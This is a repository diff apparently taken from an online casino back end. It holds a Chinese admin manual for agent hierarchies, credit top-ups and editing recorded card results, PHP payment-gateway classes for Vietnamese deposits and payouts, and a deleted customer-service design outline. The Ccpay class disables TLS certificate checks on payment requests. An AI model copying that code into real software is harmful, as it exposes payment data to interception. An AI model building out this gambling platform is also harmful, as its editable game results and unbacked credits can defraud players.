| **代理管理员** | 2 | 代理管理、上下分查询、洗码查询 |
| **财务** | 4 | 代理管理、上下分、洗码管理、充值提现审批 |
---
## 4. 功能模块详解
### 4.1 代理管理
#### 4.1.1 代理列表
**路径**:代理管理 → 代理管理
**功能**
- 查看所有总代理列表(agent_parent_id = 0 的代理)
- 搜索代理(按用户名)
- 查看代理详情(余额、码率、占成等)
- 点击【查看下级】可逐层查看下级代理
**列表字段说明**
| 字段 | 说明 |
|------|------|
| 用户名 | 代理登录账号 |
| 联系人 | 代理昵称 |
| 上级代理 | 所属上级代理(总代显示"-" |
| 投注方式 | 1=现金 2=信用 3=其他 |
| 最近上分 | 最后一次上分金额 |
| 商户余额 | 当前账户余额(分值) |
| 码率(%) | 百家乐/龙虎/牛牛/三卡 洗码率 |
| 占成(%) | 代理占股比例 |
| 日赢上限 | 每日最大盈利限制 |
**操作**
- 【修改】- 编辑代理信息
- 【删除】- 软删除代理(会同时删除所有下级)
- 【查看下级】- 查看该代理的下级代理列表
#### 4.1.2 添加代理
**路径**:代理管理 → 代理管理 → 添加代理
**必填字段**
- 账号(唯一,不可重复)
- 昵称
- 密码(至少6位)
- 确认密码
**可选配置**
- 手机号
- 投注方式(现金/信用)
- 限红设置(最低/最高下注额)
- 洗码率(百家乐、龙虎、牛牛、三卡)
- 占成比例
- 返水率
- 备注
**重要规则**
- 下级代理的洗码率不能超过上级
- 下级代理的占成不能超过上级
- 账号一旦创建不可修改
#### 4.1.3 上下分操作
**路径**:代理管理 → 上下分查询 → 代理上下分添加
**这是 Admin 后台的核心功能,用于给代理增加/扣减余额。**
**操作步骤**
1. 点击【选择账号】,从代理列表中选择目标代理
2. 系统自动显示该代理当前余额
3. 输入操作金额
4. 选择操作类型:
- **上分**:增加余额(相当于充值)
- **下分**:扣减余额(相当于提现)
5. 填写备注说明
6. 点击【提交】
**注意事项**
- 下分金额不能超过当前余额
- 所有操作都会记录在上下分记录中
- 操作人信息会自动记录
#### 4.1.4 上下分查询
**路径**:代理管理 → 上下分查询
**功能**
- 查看所有代理的上下分记录
- 支持按账号、时间范围筛选
- 可导出 Excel
**记录字段**
| 字段 | 说明 |
|------|------|
| 账号 | 被操作的代理账号 |
| 操作类型 | 上分/下分 + 类型(手动/洗码/占股/抽水) |
| 操作金额 | 本次操作金额 |
| 操作人 | 执行操作的管理员或代理 |
| 操作前余额 | 操作前的余额 |
| 余额 | 操作后的余额 |
| 创建日期 | 操作时间 |
#### 4.1.5 洗码查询
**路径**:代理管理 → 洗码查询
查看代理的洗码记录,包括洗码量、洗码费等。
#### 4.1.6 占股查询
**路径**:代理管理 → 占股查询
查看代理的占股结算记录。
#### 4.1.7 收益查询
**路径**:代理管理 → 收益查询
按代理层级查看收益汇总,包括:
- 洗码收益
- 占股收益
- 抽水收益
---
### 4.2 会员管理
#### 4.2.1 会员列表
**路径**:会员管理 → 会员管理
**功能**
- 查看所有会员列表
- 按用户名、上级代理、状态筛选
- 按注册时间范围筛选
**列表字段**
| 字段 | 说明 |
|------|------|
| 用户名 | 会员登录账号 |
| 联系人 | 会员昵称 |
| 上级代理 | 所属代理 |
| 投注方式 | 1=现金 2=信用 3=其他 |
| 商户余额 | 当前余额 |
| 码率(%) | 洗码率 |
| 总下注 | 累计下注金额 |
| 总赢 | 累计盈亏 |
| 码量 | 累计洗码量 |
| 状态 | 启用/禁用 |
**操作**
- 【修改】- 编辑会员信息
- 【删除】- 软删除会员
- 【上下分】- 给会员充值/提现
#### 4.2.2 会员上下分
**路径**:会员管理 → 上下分查询 → 会员上下分添加
操作方式与代理上下分相同。
#### 4.2.3 在线玩家
**路径**:会员管理 → 在线玩家
实时查看当前在线的玩家列表,包括最后活动时间。
---
### 4.3 财务管理
#### 4.3.1 充值管理
**路径**:财务管理 → 充值管理
管理收款方式配置:
- 银行卡收款
- USDT 收款
- 其他支付渠道
#### 4.3.2 充值记录
**路径**:财务管理 → 充值记录
查看玩家的充值申请记录,可进行审批操作:
- 【通过】- 确认充值到账
- 【拒绝】- 拒绝充值申请(需填写原因)
#### 4.3.3 提现管理
**路径**:财务管理 → 提现管理
管理提现配置和手续费设置。
#### 4.3.4 提现记录
**路径**:财务管理 → 提现记录
查看玩家的提现申请记录,可进行审批操作:
- 【通过】- 确认提现完成(金额会加到总代余额)
- 【拒绝】- 拒绝提现申请(金额退回玩家账户)
---
### 4.4 游戏管理
#### 4.4.1 游戏记录
**路径**:游戏管理 → 百家乐/龙虎/牛牛 游戏记录管理
查看各游戏的注单记录,包括:
- 玩家信息
- 下注详情
- 开奖结果
- 输赢金额
支持导出 Excel。
#### 4.4.2 路单修改
**路径**:游戏管理 → 百家乐/龙虎路单修改
用于修正错误的开牌结果(仅限特殊情况使用)。
#### 4.4.3 吧台配置
**路径**:配置管理 → 吧台配置
管理游戏桌台:
- 添加/编辑桌台
- 设置桌台状态
- 配置限红
- 关联扫描器
---
### 4.5 系统管理
#### 4.5.1 公告管理
**路径**:系统管理 → 公告管理
发布和管理系统公告:
- 添加公告
- 编辑公告内容
- 设置公告状态
- 删除公告
#### 4.5.2 管理员管理
**路径**:系统管理 → 扫描用户管理 / 接口用户管理
管理扫描器用户和 API 接口用户。
#### 4.5.3 操作日志
**路径**:系统管理 → 操作日志
查看管理员的操作记录:
- 登录/退出记录
- 上下分操作记录
- 代理/会员管理记录
- 配置修改记录
#### 4.5.4 代理操作日志
**路径**:系统管理 → 代理操作日志
查看代理端的操作记录。
#### 4.5.5 用户登录日志
**路径**:系统管理 → 用户登录日志
查看所有用户(代理+会员)的登录记录。
---
### 4.6 数据报表
#### 4.6.1 充值提现查询
**路径**:代理管理 → 充值提现查询
汇总查看充值和提现数据。
#### 4.6.2 收益报表
**路径**:代理管理 → 收益查询
按代理层级查看收益数据:
- 选择代理
- 选择时间范围
- 查看洗码/占股/抽水收益
---
## 5. 核心业务流程
### 5.1 资金流向图
```
┌─────────────────────────────────────────────────────────────┐
│ Admin 总后台 │
│ (资金源头,无余额概念) │
└─────────────────────┬───────────────────────────────────────┘
│ 上分操作
┌─────────────────────────────────────────────────────────────┐
│ 总代理 (agent_level=1) │
│ 余额 (money) 增加 │
└─────────────────────┬───────────────────────────────────────┘
│ 给下级上分
┌─────────────────────────────────────────────────────────────┐
│ 一级代理 (agent_level=2) │
│ 余额 (money) 增加 │
└─────────────────────┬───────────────────────────────────────┘
│ 给下级上分
┌─────────────────────────────────────────────────────────────┐
│ 二级代理 / 会员 (agent_level=3 / agent=0) │
│ 余额 (money) 增加 │
└─────────────────────────────────────────────────────────────┘
游戏下注/提现
```
### 5.2 上分操作流程
```
1. Admin 登录后台
2. 进入"代理管理 → 上下分查询 → 代理上下分添加"
3. 选择目标代理账号
4. 输入上分金额
5. 选择"上分"类型
6. 填写备注
7. 提交
8. 系统自动:
- 写入 recharge 表(上分记录)
- 更新 user 表 money 字段
- 记录操作日志
```
### 5.3 提现审批流程
```
1. 玩家在前端发起提现申请
2. Admin 在"财务管理 → 提现记录"看到待审批记录
3. 审核提现信息(金额、银行卡等)
4a. 【通过】
- 玩家余额已扣减(申请时扣)
- 提现金额加到所属总代余额
- 总代线下完成打款
4b. 【拒绝】
- 填写拒绝原因
- 金额退回玩家账户
```
---
## 6. 常见问题
### Q1: Admin 账号本身有余额吗?
**没有。** Admin 是管理员账号,存在 `cg_admin` 表中,没有 money 字段。Admin 的作用是"造钱"——可以凭空给总代理上分。
### Q2: 为什么我看不到某些菜单?
不同角色有不同权限。请确认你的账号角色:
- role=0:超级管理员,可见所有菜单
- role=1:监控员,只能看游戏相关
- role=2:代理管理员,只能看代理相关
- role=4:财务,可以看代理和财务相关
### Q3: 上分和充值有什么区别?
| 操作 | 发起方 | 作用 |
|------|--------|------|
| **上分** | Admin/代理主动操作 | 直接增加目标账户余额 |
| **充值** | 玩家发起申请 | 需要审批后才能到账 |
### Q4: 删除代理会怎样?
- 软删除(is_delete=1),数据不会真正删除
- 该代理的所有下级代理和会员也会被删除
- 已删除的代理可以在"已删除代理"页面查看
### Q5: 如何查看某个代理的所有下级?
1. 在代理列表中找到目标代理
2. 点击【查看下级】
3. 可以逐层点击查看更深层级的代理
### Q6: 洗码率和占成的区别?
| 概念 | 说明 | 示例 |
|------|------|------|
| **洗码率** | 玩家下注后按比例返还的码费 | 玩家下注10000,洗码率0.5%,得50洗码费 |
| **占成** | 代理参与盈亏分成的比例 | 占成20%,玩家输10000,代理分得2000 |
### Q7: 操作记录在哪里查看?
- Admin 操作日志:系统管理 → 操作日志
- 代理操作日志:系统管理 → 代理操作日志
- 上下分记录:代理管理 → 上下分查询
---
## 附录
### A. 数据库核心表
| 表名 | 说明 |
|------|------|
| cg_admin | 管理员账号 |
| cg_user | 代理和会员账号 |
| cg_recharge | 上下分记录 |
| cg_bet | 下注记录 |
| cg_xima | 洗码记录 |
| cg_cs | 占股记录 |
| cg_table | 游戏桌台 |
| cg_boot | 靴(一副牌) |
| cg_number_tab | 铺(一局) |
### B. 用户类型标识
| 字段 | 值 | 说明 |
|------|-----|------|
| agent | 1 | 代理 |
| agent | 0 | 会员 |
| agent_parent_id | 0 | 总代理 |
| agent_level | 1 | 总代 |
| agent_level | 2 | 一级代理 |
| agent_level | 3 | 二级代理 |
### C. 操作类型代码
| type | 说明 |
|------|------|
| 1 | 手动上分/下分 |
| 2 | 洗码结算 |
| 3 | 占股结算 |
| 4 | 代理抽水 |
| 5 | 提现相关 |
| mode | 说明 |
|------|------|
| 1 | 上分(加钱) |
| 2 | 下分(扣钱) |
---
*文档版本:1.0*
*最后更新:2025年1月*
+388
View File
@@ -0,0 +1,388 @@
<?php
namespace pay;
use think\Db;
/**
* AlinPay 越南支付网关
* 代收(Collection): /api/order product_id=11
* 代付(Disbursement): /api/payment product_id=14
* 代收查询: /api/order/status
* 代付查询: /api/payment/status
* 账户查询: /api/account
*/
class AlinPay
{
private $config;
private $domain;
// 越南银行编码映射
private static $bankCodes = [
'Liobank','VietcomBank','VietinBank','MB','BIDV',
'Techcombank','Sacombank','ACB','Agribank','VPBank',
'TPBank','VIB','BVBank','MSB','SHB',
'Vikki Bank','Nam A Bank','HDBank','Eximbank','SeABank',
'LPBank','PVcomBank','PVcomBank Pay','SCB','Shinhan VN',
'ABBank','Kienlongbank','CAKE','VietBank','Wooribank',
'NCB','PG_Bank','BacABank','SCBVN','HSBC VN',
'BaoViet Bank','VietABank','Saigonbank','Co-op Bank',
'Timo by Ban Viet Bank','MBV','IVB','VCBNeo',
'Public Bank Viet Nam','Citibank HN','Citibank HCM',
'VBSP','VRB','Hong Leong Bank','UOB','Umee',
'GPBank','Ubank','KBank','Deutsche Bank','VNPT Money',
'Viettel Money','KBNN','MUFG Bank','ANZ','IBKHN',
'IBK HCM','Sinopac','CTBC','SMBC','Mizuho Bank HN',
'Mizuho Bank HCM','DBS HCM','Bank Of China','CIMB',
'BNP Paribas HCM','BNP Paribas HN','MEGA ICBC',
'BANGKOK BANK H','BPCE IOM','Taipei Fubon Binh Duong',
'Taipei Fubon HN','Taipei Fubon HCM','OCBC HCM',
'Home Credit','CCB','HuaNan Bank','ICBC Hà Nội',
'SIAM-SCB','JP Morgan Chase Bank','KBHN','KBHCM',
'Maybank','BIDC','CILC','BoCom',
'First Commercial Bank HN','First Commercial Bank HCM',
'Agricultural Bank of China','Keb Hana HN','Keb Hana HCM',
'NHNN','VDB','Napas','HAFIC','TNEX by MSB',
'Vinaconex - Viettel','MoMo','ZaloPay',
'Mobifone Tiendidong','PAYOO','E.SUN Commercial Bank',
'Neopay','Hpay','CFC','PTF','VFC',
'TechcomFinance','MAFC','JIVF','VFL','TFSVN',
'Bank of India- BOI','Busan-BNK','Cathay United',
'Nonghyup','Quý TDCS','SVFC','Vikki',
];
public function __construct()
{
$this->getConfig();
}
/**
* 获取配置信息
*/
private function getConfig()
{
$config = Db::name('pay_channel')->where('key', 'ALIN_VN')->value('value');
$config = json_decode($config, true);
$this->config = $config;
// 域名从配置读取,回退默认值(2026-05 第三方网关由 fantianchuangshi.com 迁至 hypayment.net
$this->domain = $config['domain'] ?? 'https://alinintermon-api.hypayment.net';
}
/**
* 生成签名
* 规则:参数按key排序 key=value&连接(空值不参与) 拼接key={secret} MD5 32位小写
* ext字段不参与签名
*
* @param array $params
* @return string
*/
public function generateSign(array $params)
{
// 移除不参与签名的字段
unset($params['sign']);
unset($params['ext']);
// 过滤空值
$params = array_filter($params, function ($val) {
return $val !== '' && $val !== null;
});
// 按key排序
ksort($params);
// 拼接
$parts = [];
foreach ($params as $key => $val) {
$parts[] = $key . '=' . $val;
}
$str = implode('&', $parts);
$str .= '&key=' . $this->config['secret'];
return md5($str);
}
/**
* 验证回调签名(时间安全比较,防timing attack
*
* @param array $params
* @return bool
*/
public function verifySign(array $params)
{
$receivedSign = $params['sign'] ?? '';
$calculatedSign = $this->generateSign($params);
return hash_equals($calculatedSign, $receivedSign);
}
/**
* 发送HTTP请求
*
* @param string $url
* @param array $data
* @return array|null
*/
private function request($url, $data)
{
$jsonData = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
addLogToFile('请求地址:' . $url, 'alin_request', 'alin');
addLogToFile('请求报文:' . $jsonData, 'alin_request', 'alin');
$header = ['Content-Type: application/json'];
$result = httpPost($url, $jsonData, $header);
addLogToFile('返回结果:' . json_encode($result, JSON_UNESCAPED_UNICODE), 'alin_response', 'alin');
return $result;
}
/**
* 代收下单(用户充值)
*
* @param string $orderNo 商户订单号
* @param string $amount 金额()
* @param string $notifyUrl 回调地址
* @param string $desc 订单描述
* @return array|null
*/
public function createOrder($orderNo, $amount, $notifyUrl, $desc = '')
{
$params = [
'app_id' => strval($this->config['app_id']),
'product_id' => strval($this->config['collection_product_id']), // 代收 product_id=11
'out_trade_no' => strval($orderNo),
'notify_url' => strval($notifyUrl),
'amount' => strval($amount),
'time' => intval(time()),
'desc' => strval($desc),
];
$params['sign'] = $this->generateSign($params);
$url = $this->domain . '/api/order';
return $this->request($url, $params);
}
/**
* 代收查询
*
* @param string $orderNo 商户订单号
* @return array|null
*/
public function queryOrder($orderNo)
{
$params = [
'app_id' => $this->config['app_id'],
'out_trade_no' => $orderNo,
'time' => time(),
];
$params['sign'] = $this->generateSign($params);
$url = $this->domain . '/api/order/status';
return $this->request($url, $params);
}
/**
* 代付下单(用户提现)
*
* @param string $orderNo 商户订单号
* @param string $amount 金额()
* @param string $accountName 账户名称
* @param string $accountNumber 卡号
* @param string $bankCode 银行编码
* @param string $bankName 银行名称
* @param string $notifyUrl 回调地址
* @param string $desc 订单描述
* @return array|null
*/
public function createPayment($orderNo, $amount, $accountName, $accountNumber, $bankCode, $bankName, $notifyUrl, $desc = '')
{
$params = [
'app_id' => strval($this->config['app_id']),
'product_id' => strval($this->config['payment_product_id']), // 代付 product_id=14
'out_trade_no' => strval($orderNo),
'notify_url' => strval($notifyUrl),
'amount' => strval($amount),
'time' => intval(time()),
'desc' => strval($desc),
];
$params['sign'] = $this->generateSign($params);
// ext不参与签名,单独附加
$params['ext'] = [
'accountName' => $accountName,
'accountNumber' => $accountNumber,
'bankCode' => $bankCode,
'bankName' => $bankName,
];
$url = $this->domain . '/api/payment';
return $this->request($url, $params);
}
/**
* 代付查询
*
* @param string $orderNo 商户订单号
* @return array|null
*/
public function queryPayment($orderNo)
{
$params = [
'app_id' => $this->config['app_id'],
'out_trade_no' => $orderNo,
'time' => time(),
];
$params['sign'] = $this->generateSign($params);
$url = $this->domain . '/api/payment/status';
return $this->request($url, $params);
}
/**
* 账户查询
*
* @return array|null
*/
public function queryAccount()
{
$params = [
'app_id' => $this->config['app_id'],
'time' => time(),
];
$params['sign'] = $this->generateSign($params);
$url = $this->domain . '/api/account';
return $this->request($url, $params);
}
/**
* 处理代收回调 仅验签+解析状态,不操作余额
* 余额结算由 trait alin_recharge_settle() 统一处理
*
* @param array $data 回调数据
* @param int $logId 日志ID
* @return array ['verified' => bool, 'trade_status' => int, 'data' => array]
*/
public function verifyRechargeCallback($data, $logId = 0)
{
// 验签
if (!$this->verifySign($data)) {
addLogToFile('代收回调签名验证失败:' . json_encode($data, 320), 'alin_callback_error', 'alin');
return ['verified' => false, 'trade_status' => 0, 'data' => $data];
}
$orderNo = $data['out_trade_no'] ?? '';
if ($logId && $orderNo) {
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $orderNo]);
}
$tradeStatus = intval($data['trade_status']);
addLogToFile('代收回调验签通过:order=' . $orderNo . ' status=' . $tradeStatus, 'alin_callback', 'alin');
return ['verified' => true, 'trade_status' => $tradeStatus, 'data' => $data];
}
/**
* 处理代付回调(提现回调)
*
* @param array $data 回调数据
* @param int $logId 日志ID
* @return string|void
*/
public function paymentCallback($data, $logId = 0)
{
// 验签
if (!$this->verifySign($data)) {
addLogToFile('代付回调签名验证失败:' . json_encode($data, 320), 'alin_callback_error', 'alin');
return;
}
$orderNo = $data['out_trade_no'] ?? '';
if (!$orderNo) return;
if ($logId) {
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $orderNo]);
}
$tradeStatus = intval($data['trade_status']);
$order = Db::name('user_withdraw')->where('order_no', $orderNo)->find();
if (!$order) {
addLogToFile('代付回调订单不存在:' . $orderNo, 'alin_callback', 'alin');
return 'success';
}
// 只处理 AGREE 状态的订单
if ($order['status'] !== 'AGREE') {
addLogToFile('代付回调订单状态非AGREE' . $orderNo . ' status=' . $order['status'], 'alin_callback', 'alin');
return 'success';
}
$payTime = strtotime($data['complete_time'] ?? '') ?: time();
if ($tradeStatus === 1) {
// 成功
$updateData = [
'status' => 'SUCCESS',
'pay_time' => $payTime,
'out_trade_no' => $data['trade_no'] ?? '',
];
Db::name('user_withdraw')->where('id', $order['id'])->update($updateData);
addLogToFile('代付回调成功:' . $orderNo, 'alin_callback', 'alin');
return 'success';
} elseif ($tradeStatus === 2) {
// 失败 — 退回用户余额
Db::startTrans();
try {
$user = Db::name('user')->where('id', $order['user_id'])->lock(true)->find();
$newMoney = $user['money'] + $order['money'] + $order['service_fee_money'];
Db::name('user')->where('id', $order['user_id'])->update([
'money' => $newMoney,
]);
Db::name('user_withdraw')->where('id', $order['id'])->update([
'status' => 'FAIL',
'pay_time' => $payTime,
]);
Db::commit();
addLogToFile('代付回调失败已退款:' . $orderNo . ' refund=' . ($order['money'] + $order['service_fee_money']), 'alin_callback', 'alin');
return 'success';
} catch (\Exception $e) {
Db::rollback();
addLogToFile('代付回调退款异常:' . $e->getMessage(), 'alin_callback_error', 'alin');
return;
}
}
// 处理中(-1),不返回success让网关重试
addLogToFile('代付回调处理中:' . $orderNo . ' status=' . $tradeStatus, 'alin_callback', 'alin');
return;
}
/**
* 获取银行编码列表
*
* @return array
*/
public static function getBankCodes()
{
return self::$bankCodes;
}
/**
* 获取配置信息(外部使用)
*
* @return array
*/
public function getConfigInfo()
{
return $this->config;
}
}
+132
View File
@@ -0,0 +1,132 @@
<?php
namespace pay;
use think\Db;
class Ccpay
{
private $config;
private $apiUrl;
private $mchNo;
private $paySecret;
public function __construct()
{
$this->config = config('pay_list.ccpay') ?: [];
$this->apiUrl = $this->config['api_url'] ?? '';
$this->mchNo = $this->config['mch_no'] ?? '';
$this->paySecret = $this->config['pay_secret'] ?? '';
}
public function getConfigInfo()
{
return $this->config;
}
public function generateSign(array $params)
{
unset($params['sign']);
ksort($params);
$str = '';
foreach ($params as $k => $v) {
if (is_string($v) && strlen($v) > 0) {
$str .= "{$k}={$v}&";
}
}
$str = substr($str, 0, -1) . '&paySecret=' . $this->paySecret;
return strtoupper(md5($str));
}
public function verifySign(array $params)
{
$received = $params['sign'] ?? '';
if (!$received) return false;
$calculated = $this->generateSign($params);
return hash_equals($calculated, $received);
}
public function createOrder($orderNo, $amount, $notifyUrl, $memberId = 'og_user', $callbackUrl = '')
{
$extra = [
'bankType' => 'OFFLINE',
'cardType' => '0',
'orderPeriod' => '30',
'memberId' => $memberId,
'merchantName' => 'OG',
'notifyUrl' => $notifyUrl,
'callbackUrl' => $callbackUrl,
];
$data = [
'tradeType' => 'cs.pay.submit',
'version' => '2.0',
'channel' => 'union_pay',
'mchNo' => $this->mchNo,
'body' => 'online_pay',
'mchOrderNo' => $orderNo,
'amount' => strval(intval($amount)),
'currency' => 'VND',
'timePaid' => date('YmdHis'),
'remark' => 'online-pay',
];
$signParams = array_merge($data, $extra);
$data['sign'] = $this->generateSign($signParams);
$data['extra'] = json_encode($extra);
addLogToFile('ccpay 下单请求: order=' . $orderNo . ' amount=' . $amount . ' params=' . json_encode($data, JSON_UNESCAPED_UNICODE), 'ccpay_request', 'ccpay');
$result = $this->postForm($this->apiUrl, $data);
addLogToFile('ccpay 下单返回: ' . json_encode($result, JSON_UNESCAPED_UNICODE), 'ccpay_response', 'ccpay');
return $result;
}
public function queryOrder($orderNo)
{
$data = [
'tradeType' => 'cs.order.query',
'version' => '2.0',
'mchNo' => $this->mchNo,
'mchOrderNo' => $orderNo,
];
$data['sign'] = $this->generateSign($data);
return $this->postForm($this->apiUrl, $data);
}
private function postForm($url, $params)
{
$ch = curl_init($url);
$body = '';
foreach ($params as $k => $v) {
if (!is_string($v)) continue;
$body .= $k . '=' . urlencode($v) . '&';
}
$body = rtrim($body, '&');
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $body,
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded; charset=UTF-8'],
CURLOPT_CONNECTTIMEOUT => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
]);
$resp = curl_exec($ch);
$err = curl_error($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($resp === false) {
addLogToFile("ccpay curl 失败: code={$code} err={$err}", 'ccpay_error', 'ccpay');
return null;
}
return json_decode($resp, true);
}
}
+213
View File
@@ -0,0 +1,213 @@
<?php
namespace pay;
use think\Db;
/**
* 彩虹易支付(epay)对接类
*
* 对应线上支付平台:https://pay.g7g7.top/
* 官方文档:https://pay.cccyun.cc/
*
* 支付流程:
* 1. buildPayUrl() 构造带签名的 URL,前端 302 跳转到该 URL 发起支付
* 2. 用户在易支付页面完成支付(USDT扫码/银行卡/支付宝 等,取决于通道)
* 3. 易支付异步 POST notify_url,携带 sign;本端 verifyNotifyCallback() 验签
*
* 签名规则(MD5):
* - 去除 sign、sign_type 字段
* - 过滤空值
* - key 字典序排序
* - 拼接 k=v&k=v(不 urlencode,直接原值)
* - 末尾拼接 {商户key}(不是 &key=
* - MD5(str) 32 位小写
*/
class Epay
{
private $config;
private $apiUrl;
public function __construct()
{
$this->getConfig();
}
/**
* 获取配置
* 优先读 pay_channel 表(和 AlinPay 一致的存储位置),
* 回退到 config('pay_list.epay')
*/
private function getConfig()
{
$dbConfig = Db::name('pay_channel')->where('key', 'EPAY')->value('value');
if ($dbConfig) {
$this->config = json_decode($dbConfig, true) ?: [];
} else {
$this->config = config('pay_list.epay') ?: [];
}
$this->apiUrl = $this->config['api_url'] ?? 'https://pay.g7g7.top';
}
public function getConfigInfo()
{
return $this->config;
}
/**
* 生成签名
*
* @param array $params
* @return string
*/
public function generateSign(array $params)
{
unset($params['sign'], $params['sign_type']);
// 过滤空值(易支付官方要求)
$params = array_filter($params, function ($val) {
return $val !== '' && $val !== null;
});
ksort($params);
$parts = [];
foreach ($params as $k => $v) {
$parts[] = $k . '=' . $v;
}
$str = implode('&', $parts) . ($this->config['key'] ?? '');
return md5($str);
}
/**
* 验证回调签名(时间安全比较)
*
* @param array $params
* @return bool
*/
public function verifySign(array $params)
{
$received = $params['sign'] ?? '';
$calculated = $this->generateSign($params);
return hash_equals($calculated, $received);
}
/**
* 构造发起支付的 URL(跳转式 submit.php
* 前端收到该 URL 后直接 window.location 跳转即可
*
* @param string $orderNo 商户订单号
* @param string $type 支付方式:alipay|wxpay|qqpay|bank|jdpay|usdt
* @param string $amount 金额(元)
* @param string $name 商品名称
* @param string $notifyUrl 异步通知地址
* @param string $returnUrl 同步跳转地址
* @param string $param 业务扩展参数(可选,原样回传)
* @return string
*/
public function buildPayUrl($orderNo, $type, $amount, $name, $notifyUrl, $returnUrl = '', $param = '')
{
$params = [
'pid' => strval($this->config['pid'] ?? ''),
'type' => $type,
'out_trade_no' => strval($orderNo),
'notify_url' => $notifyUrl,
'return_url' => $returnUrl,
'name' => $name,
'money' => strval($amount),
'param' => $param,
'sign_type' => 'MD5',
];
$params['sign'] = $this->generateSign($params);
$params = array_filter($params, function ($v) {
return $v !== '' && $v !== null;
});
return rtrim($this->apiUrl, '/') . '/submit.php?' . http_build_query($params);
}
/**
* API 模式下单(mapi.php
*
* @param string $clientIp 下单用户的 IPmapi.php 必填,否则报 "用户IP地址(clientip)不能为空"
* @return array|null
*/
public function createOrderApi($orderNo, $type, $amount, $name, $notifyUrl, $returnUrl = '', $param = '', $clientIp = '')
{
if ($clientIp === '' || $clientIp === null) {
$clientIp = \think\Request::instance()->ip();
}
$params = [
'pid' => strval($this->config['pid'] ?? ''),
'type' => $type,
'out_trade_no' => strval($orderNo),
'notify_url' => $notifyUrl,
'return_url' => $returnUrl,
'name' => $name,
'money' => strval($amount),
'param' => $param,
'clientip' => strval($clientIp),
'sign_type' => 'MD5',
];
$params['sign'] = $this->generateSign($params);
$url = rtrim($this->apiUrl, '/') . '/mapi.php';
addLogToFile('epay API 下单请求:' . $url . ' params=' . json_encode($params, JSON_UNESCAPED_UNICODE), 'epay_request', 'epay');
$result = httpPost($url, $params);
addLogToFile('epay API 下单返回:' . json_encode($result, JSON_UNESCAPED_UNICODE), 'epay_response', 'epay');
if (is_array($result)) return $result;
if (is_string($result)) return json_decode($result, true);
return null;
}
/**
* 订单查询
*/
public function queryOrder($orderNo)
{
$params = [
'act' => 'order',
'pid' => strval($this->config['pid'] ?? ''),
'out_trade_no' => strval($orderNo),
];
$params['sign'] = $this->generateSign($params);
$params['sign_type'] = 'MD5';
$url = rtrim($this->apiUrl, '/') . '/api.php?' . http_build_query($params);
$resp = httpGet($url);
return is_string($resp) ? json_decode($resp, true) : $resp;
}
/**
* 处理异步回调 仅验签+解析状态,不操作余额
* 余额结算由 trait epay_recharge_settle() 统一处理
*
* @param array $data $_POST $_GET
* @param int $logId 日志 ID
* @return array ['verified' => bool, 'success' => bool, 'data' => array]
*/
public function verifyNotifyCallback($data, $logId = 0)
{
if (!$this->verifySign($data)) {
addLogToFile('epay 回调验签失败:' . json_encode($data, 320), 'epay_callback_error', 'epay');
return ['verified' => false, 'success' => false, 'data' => $data];
}
$orderNo = $data['out_trade_no'] ?? '';
if ($logId && $orderNo) {
Db::name('pay_callback_log')->where('id', $logId)->update(['unique_no' => $orderNo]);
}
$success = isset($data['trade_status']) && $data['trade_status'] === 'TRADE_SUCCESS';
addLogToFile('epay 回调验签通过:order=' . $orderNo . ' status=' . ($data['trade_status'] ?? ''), 'epay_callback', 'epay');
return ['verified' => true, 'success' => $success, 'data' => $data];
}
}
@@ -1,564 +0,0 @@
# OPSX Design: 在线客服模块技术设计
## 变更标识
- **变更ID**: customer-service-module
- **版本**: 2.0
- **状态**: DESIGN_COMPLETE
- **更新日期**: 2026-01-28
---
## 1. 架构设计
### 1.1 系统架构图
```
┌─────────────────────────────────────────────────────────────────────┐
│ 客户端层 │
├─────────────┬─────────────┬─────────────┬─────────────────────────┤
│ PC端 │ Game端 │ Portal端 │ Admin客服工作台 │
│ (Vue 2.x) │ (Vue 3.x) │ (uni-app) │ (Layui + WS) │
│ Element UI │ Vant │ uView │ │
└──────┬──────┴──────┬──────┴──────┬──────┴───────────┬─────────────┘
│ │ │ │
└─────────────┼─────────────┼───────────────────┘
│ WebSocket (chat.* 事件)
┌─────────────────────────────────────────────────────────────────────┐
│ Socket服务 (TP6 + Swoole) │
├─────────────────────────────────────────────────────────────────────┤
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ ChatConnect │ │ ChatMessage │ │ ChatSession │ Listeners │
│ │ Listener │ │ Listener │ │ Listener │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
│ │ │ │ │
│ └────────────────┼────────────────┘ │
│ ▼ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ ChatService │ │
│ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │
│ │ │ MessageSvc │ │ SessionSvc │ │ AssignSvc │ │ │
│ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
└──────────────────────────────┬──────────────────────────────────────┘
┌─────────────────────┼─────────────────────┐
▼ ▼ ▼
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ MySQL │ │ Redis │ │ 文件存储 │
│ │ │ │ │ │
│ cg_chat_session │ │ cs:online:* │ │ public/uploads/ │
│ cg_chat_message │ │ cs:conn:* │ │ chat/ │
│ cg_chat_quick_ │ │ cs:lock:* │ │ │
│ reply │ │ cs:queue:* │ │ │
│ cg_chat_admin_ │ │ cs:agent:* │ │ │
│ status │ │ │ │ │
└─────────────────┘ └─────────────────┘ └─────────────────┘
```
### 1.2 模块职责
| 模块 | 职责 | 技术栈 |
|------|------|--------|
| **ChatConnect Listener** | 处理WS连接/断开、心跳、鉴权 | Swoole onOpen/onClose |
| **ChatMessage Listener** | 处理消息收发、ACK、重试 | Swoole onMessage |
| **ChatSession Listener** | 处理会话创建/分配/转接/结束 | Swoole onMessage |
| **MessageService** | 消息持久化、查询、状态更新 | ThinkPHP Model |
| **SessionService** | 会话生命周期管理 | ThinkPHP Model |
| **AssignService** | 会话分配、负载均衡、队列管理 | Redis + Model |
---
## 2. 数据库设计
